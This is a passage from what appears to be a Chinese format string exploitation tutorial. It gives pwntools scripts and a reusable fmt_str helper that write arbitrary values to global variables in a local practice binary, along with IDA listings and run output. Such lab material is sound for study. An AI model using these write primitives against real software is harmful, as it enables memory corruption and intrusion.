有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把tag放在字符串的最前面,如果我们把tag放在种间,其实也是无妨的。
类似的,将地址放在种间,只要能够找到对应的偏移其照样也可以得到对应的数值。前面说了格式化字符串的为第6个参数,由于想要把2写到对应的地址处,因此格式化字符串的前面的字节必须是
aa%k$nxx
此时对应的存储的格式化字符串已经占据了6个字符的位置,如果我们再添加两个字符aa,那么其实aa%k就是第6个参数,$nxx是第7个参数,后面如果跟上要覆盖的地址,那就是第8个参数,所以将k设置为8,就可以覆盖了。
利用ida可以得到a的地址为0x0804A024(由于a、b是已初始化的全局变量,因此不在堆栈中)。
.data:0804A024 a dd 7Bh ; DATA XREF: main:loc_8048521↑r
.data:0804A028 public b
.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048540↑r
故而可以构造如下的利用代码
def fora():
sh=process('./overflow')
a_addr=0x0804A024
payload='aa%8$naa'+p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
对应的结果如下:
[+] Starting local process './overflow': pid 6794
0xffdfeb8c
[*] Switching to interactive mode
aaaa$\xa0\x04modified a for a small number.
其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可。
覆盖大数字
可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,一次性等待的时间也太长了,那么有没有什么比较好的方式呢?
现了解以下变量再内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。
再者,格式化字符串里有这恶两个标志:
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。这里,以单字节为例。
首先,要确定的是要覆盖的地址为多少,利用ida看以下,可以发现地址为0x0804A028。
.data:0804A028 public b
.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510�r
即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
首先,由于我们的字符串的偏移为6,所有可以确定payload基本如下:
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
可以依次进行计算,这里给出一个基本的构造,如下:
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
其中每个参数的含义基本如下
offset 表示要覆盖的地址最初的偏移
size 表示机器字长
addr 表示将要覆盖的地址
target 表示我们要覆盖为的目的变量值
相应的exploit如下
def forb():
sh = process('./overwrite')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()
结果如下:
[+] Starting local process './overflow': pid 7656
(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overflow' stopped with exit code 0 (pid 7656)
0xffdfe6fc
(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04 \x98 \x10 \xbd \x00odified b for a big number!